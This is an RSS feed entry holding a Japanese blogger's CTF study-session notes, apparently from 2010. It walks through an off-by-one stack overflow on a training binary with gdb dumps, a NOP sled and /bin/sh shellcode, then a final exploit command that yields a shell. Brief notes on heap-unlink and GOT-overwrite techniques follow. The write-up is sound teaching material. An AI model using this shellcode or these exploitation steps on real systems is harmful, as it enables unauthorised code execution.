<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet href="rss.css" type="text/css"?>
<rdf:RDF xmlns="http://purl.org/rss/1.0/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:xhtml="http://www.w3.org/1999/xhtml" xml:lang="ja-JP">
	<channel rdf:about="http://www.sabamiso.net/yoggy/tdiary/index.rdf">
	<title>yoggy's diary〜せかいのすみっこから〜(without comments)</title>
	<link>http://www.sabamiso.net/yoggy/tdiary/</link>
	<xhtml:link rel="alternate" media="handheld" type="text/html" href="http://www.sabamiso.net/yoggy/tdiary/" />
	<description></description>
	<dc:creator>yoggy</dc:creator>
	<dc:rights>Copyright 2010 yoggy, copyright of comments by respective authors</dc:rights>
	<items><rdf:Seq>
<rdf:li rdf:resource="http://www.sabamiso.net/yoggy/tdiary/?date=20100221#p01"/>
</rdf:Seq></items>
</channel>
<item rdf:about="http://www.sabamiso.net/yoggy/tdiary/?date=20100221#p01">
<link>http://www.sabamiso.net/yoggy/tdiary/?date=20100221#p01</link>
<xhtml:link rel="alternate" media="handheld" type="text/html" href="http://www.sabamiso.net/yoggy/tdiary/?date=20100221#p01" />
<dc:date>2010-02-25T17:59:52+09:00</dc:date>
<title>CTF10勉強会(2/21) - メモ</title>
<dc:creator>yoggy</dc:creator>
<description>TODO: 書きかけ途中。あとで確認して整理すること。 level8 off-by-oneな問題  ebpの下位1byteだけ書き換えることができる場合の攻略方法 アドレスは環境変数などで変化するので、手元の環境に合わせて調整すること。 参考 off-by-one exploit - memologue   メモ 引数に16byte以上指定すると落ちる。 $ ./eat ./eat string  $ ./eat aaa first character: a  $ ./eat `ruby -e 'print &quot;a&quot;*15'` first character: a  $ ./eat `ruby -e 'print &quot;a&quot;*16'` first character: a zsh: segmentation fault (core dumped)  ./eat `ruby -e 'print &quot;a&quot;*16'` 0x80484c0からはじまる関数からreturnするときに落ちているっぽい。  objdump -Sxd ./eat とかもあわせて参照。 この辺は地道に探すこと  strcpy..</description>
<content:encoded><![CDATA[<h3>CTF10勉強会(2/21) - メモ</h3><p>TODO: 書きかけ途中。あとで確認して整理すること。</p>
<h4>level8</h4>
<p>off-by-oneな問題</p>
<ul>
<li>ebpの下位1byteだけ書き換えることができる場合の攻略方法</li>
<li>アドレスは環境変数などで変化するので、手元の環境に合わせて調整すること。</li>
<li>参考<ul>
<li><a href="http://d.hatena.ne.jp/yupo5656/20040627">off-by-one exploit - memologue</a></li>
</ul></li>
</ul>
<h5>メモ</h5>
<p>引数に16byte以上指定すると落ちる。</p>
<pre>$ ./eat
./eat &lt;string&gt;

$ ./eat aaa
first character: a

$ ./eat `ruby -e 'print "a"*15'`
first character: a

$ ./eat `ruby -e 'print "a"*16'`
first character: a
zsh: segmentation fault (core dumped)  ./eat `ruby -e 'print "a"*16'`</pre>
<p>0x80484c0からはじまる関数からreturnするときに落ちているっぽい。</p>
<ul>
<li>objdump -Sxd ./eat とかもあわせて参照。</li>
<li>この辺は地道に探すこと</li>
</ul>
<p>strcpy()とかでargv[1]をスタック上のバッファにコピーしたときに、文字列の最後の0x00の分が1byte分ebpをpushしている領域にはみ出ているっぽい。</p>
<p>正常に動くとき。(a)〜(b)に"a"*15+"\x00"の16byteが格納されている。</p>
<pre>(gdb) b *0x8048574
(gdb) run `ruby -e 'print "a"*15'`
(gdb) x/16x $esp - 32
0xbfbfe770:     0x00000028      0xbfbfe7e0      0x61616161&lt;-(a) 0x61616161
0xbfbfe780:     0x61616161      0x00616161&lt;-(b) 0xbfbfe7a8      0x0804856f
0xbfbfe790:     0xbfbfe97f      0x0000000f      0xbfbfe890      0xbfbfe8a8
0xbfbfe7a0:     0xbfbfe898      0x0000000f      0xbfbfe7c8      0x080485da</pre>
<p>はみ出しているとき。(c)〜(e)に"a"*16+"\x00"の17byteが格納されている。16文字以上は同じ。
(e)が格納されているのはスタック上のebpがpushされている場所。</p>
<pre>(gdb) b *0x8048574
(gdb) run `ruby -e 'print "a"*16'`
(gdb) x/16x $esp - 32
0xbfbfe770:     0x00000028      0xbfbfe7e0      0x61616161&lt;-(c) 0x61616161
0xbfbfe780:     0x61616161      0x61616161&lt;-(d) 0xbfbfe700&lt;-(e) 0x0804856f
0xbfbfe790:     0xbfbfe97f      0x00000010      0xbfbfe890      0xbfbfe8a8
0xbfbfe7a0:     0xbfbfe898      0x00000010      0xbfbfe7c8      0x080485da</pre>
<p>つまり、ebpの下位1byteだけが0x00で上書きすることが可能。</p>
<p>shellcodeを実行するためにクリアする必要があるポイント</p>
<ul>
<li>(1) 前回のlevel3ではebpの4byteを自由に書き換えることが可能だったが、今回はebpの下位1byteを0x00に上書きできるだけなので、どうやってジャンプ先のアドレスを制御するか？</li>
<li>(2) スタック上にargs[1]がコピーされる領域が16byteだけなので、どこにshellcodeを配置して、どうやってそこにジャンプさせるか？</li>
</ul>
<p>(1)について今回は、0xbfbfe700辺りに(c)〜(d)のバッファが配置されるように、環境変数や引数に与えるデータ量を調整する。</p>
<ul>
<li>argv[2]に文字列を入れて、その長さを調整して0xbfbfe700辺りにバッファがくるように調整してみる。</li>
</ul>
<pre>(gdb) b *0x8048574
(gdb) run `ruby -e 'print "a"*16'` `ruby -e 'print "b"*16'`
(gdb) x/16x $esp - 32
0xbfbfe750:     0x00000028      0xbfbfe7c0      0x61616161&lt;-(f) 0x61616161
0xbfbfe760:     0x61616161      0x61616161&lt;-(g) 0xbfbfe700      0x0804856f
0xbfbfe770:     0xbfbfe96b      0x00000010      0xbfbfe87c      0xbfbfe894
0xbfbfe780:     0xbfbfe884      0x00000010      0xbfbfe7a8      0x080485da
          ・
          ・
          ・
(gdb) b *0x8048574
(gdb) run `ruby -e 'print "a"*16'` `ruby -e 'print "b"*112'`
(gdb) x/16x $esp - 32
0xbfbfe6f0:     0x00000028      0xbfbfe760      0x61616161&lt;-(h) 0x61616161
0xbfbfe700:     0x61616161&lt;-(i) 0x61616161&lt;-(j) 0xbfbfe700&lt;-(k) 0x0804856f
0xbfbfe710:     0xbfbfe90b      0x00000010      0xbfbfe81c      0xbfbfe834
0xbfbfe720:     0xbfbfe824      0x00000010      0xbfbfe748      0x080485da</pre>
<p>argv[2]にbを112文字突っ込んだら、(h)〜(j)のバッファが0xbfbfe700辺りに配置された。</p>
<p>ここまで来たら、level3と同じように、(j)にジャンプ先のアドレスを入れておけば、任意アドレスのコードを実行することができる。</p>
<pre>(gdb) run `ruby -e 'print "a"*12+"AAAA"'` `ruby -e 'print "b"*112'`
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? () &lt;-"AAAA"の文字列</pre>
<p>(2)については、とりあえずargv[2]の領域にshellcodeを配置して実行する。</p>
<ul>
<li>手元の環境だと、0xbfbfe91cあたりにargv[2]が配置されるっぽい。</li>
<li>下の(m)がargv[2]の先頭。</li>
<li>(j)に(m)のアドレスを配置</li>
<li>(m)の先頭にshellcodeを配置</li>
</ul>
<pre>(gdb) b *0x8048574
(gdb) run `ruby -e 'print "a"*12+"\x1c\xe9\xbf\xbf"'` `ruby -e 'print "\x31\xc0\x50\x89\xe0\x83\xe8\x10\x50\x89\xe3\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe2\x31\xc0\x50\x53\x52\x50\xb0\x3b\xcd\x80"+"b"*76'`
Reading symbols from /lib/libc.so.7...(no debugging symbols found)...done.
Reading symbols from /libexec/ld-elf.so.1...(no debugging symbols found)...done.
first character: a

Breakpoint 1, 0x08048574 in ?? ()

(gdb) x/256x $esp - 32
0xbfbfe6f0:     0x00000028      0xbfbfe760      0x61616161&lt;-(h) 0x61616161
0xbfbfe700:     0x61616161&lt;-(i) 0xbfbfe91c&lt;-(j) 0xbfbfe700&lt;-(k) 0x0804856f
0xbfbfe710:     0xbfbfe90b      0x00000010      0xbfbfe81c      0xbfbfe834
     ・
     ・
     ・
0xbfbfe900:     0x6576656c      0x652f386c      0x61007461&lt;-(l) 0x61616161
0xbfbfe910:     0x61616161      0x1c616161      0x00bfbfe9      0x8950c031&lt;-(m)
0xbfbfe920:     0x10e883e0      0x31e38950      0x2f6850c0      0x6868732f
0xbfbfe930:     0x6e69622f      0xc031e289      0x50525350      0x80cd3bb0
0xbfbfe940:     0x62626262      0x62626262      0x62626262      0x62626262
0xbfbfe950:     0x62626262      0x62626262      0x62626262      0x62626262
0xbfbfe960:     0x62626262      0x62626262      0x62626262      0x62626262
0xbfbfe970:     0x62626262      0x62626262      0x62626262      0x62626262
0xbfbfe980:     0x62626262      0x62626262      0x62626262      0x2f3d5f00

(gdb) c
Program received signal SIGTRAP, Trace/breakpoint trap.
Cannot remove breakpoints because program is no longer writable.
It might be running in another process.
Further execution is probably impossible.
0x280655f0 in __stack_chk_fail_local () from /libexec/ld-elf.so.1</pre>
<p>gdb上ではshellcodeは実行されないけど、"It might be running in another process."が表示されているとexploitが決まってるっぽい雰囲気。</p>
<p>あとは、gdbなし環境で実行できるようにアドレスを調整する。</p>
<p>ただ、今回はアドレスを調整するのが非常に難しい。難しい原因は次の通り</p>
<ul>
<li>argv[2]の長さを調整して、(k)が指すアドレスを(i)に持ってこないとだめ。</li>
<li>(j)のジャンプ先のアドレスをarg[2]が格納されているアドレスにする必要がある。</li>
</ul>
<p>地道に探してみるか…</p>
<p>まずは(1)を調整してみる。</p>
<pre>$ cd ~
$ mkdir level8
$ cd level8
$ cp /home/level8/eat .

$ rm -f eat.core &amp;&amp; ./eat `ruby -e 'print "a"*12+"\x1c\xe9\xbf\xbf"'` `ruby -e 'print "\x31\xc0\x50\x89\xe0\x83\xe8\x10\x50\x89\xe3\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe2\x31\xc0\x50\x53\x52\x50\xb0\x3b\xcd\x80"+"b"*76'`
first character: a
zsh: segmentation fault (core dumped)

$ gdb -c eat.core
GNU gdb 6.1.1 [FreeBSD]Copyright 2004 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-marcel-freebsd".
Core was generated by `eat'.
Program terminated with signal 11, Segmentation fault.
#0  0xbfbfe932 in ?? ()

(gdb) x/256x 0xbfbfe6f0 &lt;- 前のバッファ周辺のアドレスを探してみる

0xbfbfe700:     0x00000010      0xbfbfe932      0xbfbfe748      0x00000061
0xbfbfe710:     0xbfbfe724      0x00000003      0xbfbfe748      0x0804851f
0xbfbfe720:     0x0804867d      0x00000061      0x00000010      0x28088000
0xbfbfe730:     0x00000028      0xbfbfe7a0      0x61616161&lt;-(h) 0x61616161
0xbfbfe740:     0x61616161&lt;-(i) 0xbfbfe91c&lt;-(j) 0xbfbfe700&lt;-(k) 0x0804856f
0xbfbfe750:     0xbfbfe922      0x00000010      0x00000000      0x00000000
0xbfbfe760:     0x00000000      0x00000010      0xbfbfe788      0x080485da
0xbfbfe770:     0xbfbfe922      0x00000000      0xbfbfe798      0xbfbfe7a0
0xbfbfe780:     0x00000020      0xbfbfe7a0      0xbfbfe7b8      0x08048449     ・
    ・
    ・
    ・</pre>
<p>いろいろ試してみると、1byteだけ書き換えた(k)の値は0xbfbfe700から変わらないっぽいので、
argv[2]の長さをいろいろ試してみると…</p>
<pre>[yoggy@freebsd80 ~]$ cd /home/level8/
[yoggy@freebsd80 /home/level8]$  ./eat `ruby -e 'print "a"*12+"\x1c\xe9\xbf\xbf"'` `ruby -e 'print "\x90"*140 + "\x31\xc0\x50\x89\xe0\x83\xe8\x10\x50\x89\xe3\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe2\x31\xc0\x50\x53\x52\x50\xb0\x3b\xcd\x80"'`
first character: a
Segmentation fault: 11 (core dumped)

[yoggy@freebsd80 /home/level8]$  ./eat `ruby -e 'print "a"*12+"\x1c\xe9\xbf\xbf"'` `ruby -e 'print "\x90"*150 + "\x31\xc0\x50\x89\xe0\x83\xe8\x10\x50\x89\xe3\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe2\x31\xc0\x50\x53\x52\x50\xb0\x3b\xcd\x80"'`
first character: a
Segmentation fault: 11 (core dumped)
            ・
            ・
            ・
[yoggy@freebsd80 /home/level8]$  ./eat `ruby -e 'print "a"*12+"\x1c\xe9\xbf\xbf"'` `ruby -e 'print "\x90"*190 + "\x31\xc0\x50\x89\xe0\x83\xe8\x10\x50\x89\xe3\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe2\x31\xc0\x50\x53\x52\x50\xb0\x3b\xcd\x80"'`
first character: a
$
$ whoami
level8
$ ls
eat             eat.ans         password
$ cat password
1byte overflow!
$
</pre>
<p>argv[2]の先頭アドレスをぴったり当てなくても大丈夫なように、
argv[2]の先頭にNOP(0x90)を入れておいて、その後ろにshellcodeを配置。
(j)で指定するジャンプ先がargv[2]の先頭付近に着地すればOKなように工夫。</p>
<ul>
<li>参考：NOP slide<ul>
<li><a href="http://en.wikipedia.org/wiki/NOP_slide">http://en.wikipedia.org/wiki/NOP_slide</a></li>
</ul></li>
</ul>
<h5>答え</h5>
<p>argv[2]の長さは環境にあわせて調整すること。</p>
<pre>$  ./eat `ruby -e 'print "a"*12+"\x1c\xe9\xbf\xbf"'` `ruby -e 'print "\x90"*190 + "\x31\xc0\x50\x89\xe0\x83\xe8\x10\x50\x89\xe3\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe2\x31\xc0\x50\x53\x52\x50\xb0\x3b\xcd\x80"'`</pre>
<h4>level9</h4>
<ul>
<li>heap overflowな問題</li>
<li>free()を攻略</li>
</ul>
<h5>メモ</h5>
<ul>
<li>argv[2]が長いとオーバーフローする</li>
<li>free()で落ちる</li>
<li>malloc(), free()にbreakをかける<ul>
<li>b free, b malloc</li>
</ul></li>
<li>malloc()で確保したアドレスを覚えておく<ul>
<li>finishするときのeaxに入っている戻り値を覚えておく</li>
</ul></li>
<li>malloc()はサイズごとに確保する領域を分けて管理している<ul>
<li>ヘッダがついている</li>
<li>malloc()のソースコードをみる</li>
<li>dlmallocで検索。</li>
</ul></li>
<li>確保されているメモリは、双方向リストで管理されている。<ul>
<li>[X] &lt;-&gt; [Y] &lt;-&gt; [Z] &lt;-&gt; ....</li>
</ul></li>
<li>unlink_chunk()<ul>
<li>unlink_small_chunk(M, P, S)</li>
</ul></li>
<li>Yを削る処理<ul>
<li>F = Y-&gt;fd, B = Y-&gt;bk</li>
<li>F-&gt;bk = B, B-&gt;fd = F</li>
</ul></li>
<li>Y-&gt;fd, Y-&gt;bkのアドレスを任意の値に書き換えることができる<ul>
<li>F, Bの値を書き換えることができる</li>
<li>Fからちょっと進んだ場所の値をBの値で上書きできる</li>
<li>ということは、任意のアドレスの値を上書きできる。</li>
<li>ただし、F,Bはメモリ空間的にアクセスできる場所でないとだめという制約はある</li>
<li>F-&gt;bk = B, B-&gt;fd = Fが正しく実行されるために必要な条件</li>
</ul></li>
</ul>
<p>普通の環境では、unlink_small_chunk()の中でF,Bの内容チェックが行われている。</p>
<ul>
<li>セキュリティのため</li>
<li>勉強会環境では外している</li>
</ul>
<p>考えないといけない点</p>
<ul>
<li>free()の中でちゃんとunlink_chunk()が呼ばれるように、ヘッダを作り込んでおく必要がある。<ul>
<li>0xfffffff8, 0xfffffff8 (先人たちの知恵？w)</li>
</ul></li>
</ul>
<p>shellcodeを実行するコツ？(by ucq)</p>
<ul>
<li>exit()とか確実にコールされる関数を乗っ取り<ul>
<li>GOT書き換え</li>
<li>objdump -R b08 で確認。</li>
</ul></li>
</ul>
<p><a href="http://www.sabamiso.net/yoggy/tdiary/?date=20100221#c">ツッコミを入れる</a></p>]]></content:encoded>
</item>
</rdf:RDF>
